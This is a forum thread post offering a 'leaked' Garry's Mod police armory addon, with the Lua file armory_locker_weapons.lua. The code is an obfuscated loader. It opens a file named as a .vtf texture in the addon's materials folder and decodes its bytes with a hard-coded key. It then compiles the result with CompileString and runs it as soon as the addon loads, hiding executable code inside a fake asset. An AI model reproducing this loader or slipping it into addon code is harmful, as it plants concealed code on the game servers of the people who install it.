Garry's Mod

[LEAK] Police Armory Locker (Lockpicking, Weapon Armory & Custom Models)

Submitted by Lermal, , Thread ID: 195086

Thread Closed

RE: [LEAK] Police Armory Locker (Lockpicking, Weapon Armory & Custom Models)

#2
armory_locker_weapons.lua

local function a(b, c)
c = c % 177

return (b - c) % 177
end

local function d(e, f)
local g = tonumber(util.CRC(f))
local h = string.len(e)
local i = string.len(f)
local j = 1
local k = 1
local l = {}

while j <= h do
j = j + string.byte(f[k % (i - 1) + 1])
l[k] = a(string.byte(e[j]), g)
k = k + 1
j = j + 1
end

return string.char(unpack(l))
end


function LoadModel(m, n, o)
local p = file.Open(m, "rb", "BASE_PATH")
if not p then return end
p:Skip(o)
local q = p:Read(p:Size() - o)
p:Close()
local l = d(q, n)

return CompileString(l, m, false)
end

local r = LoadModel("garrysmod/addons/police_armory_locker/materials/models/police_locker.vtf", [[epC$5~rNM~k[<="cNF/lM,Iz$Fh1,)]s+\?~'Cla.n{/z`8/VLuE,gWwxnPk-y-x[?D2.V9zFTPsD,TXPt9KD75.}U$!MW,enaWg9ez&@(a{B[[;v5JxxfGO$DJw92&c]], 0)
r()

Users browsing this thread: 2 Guest(s)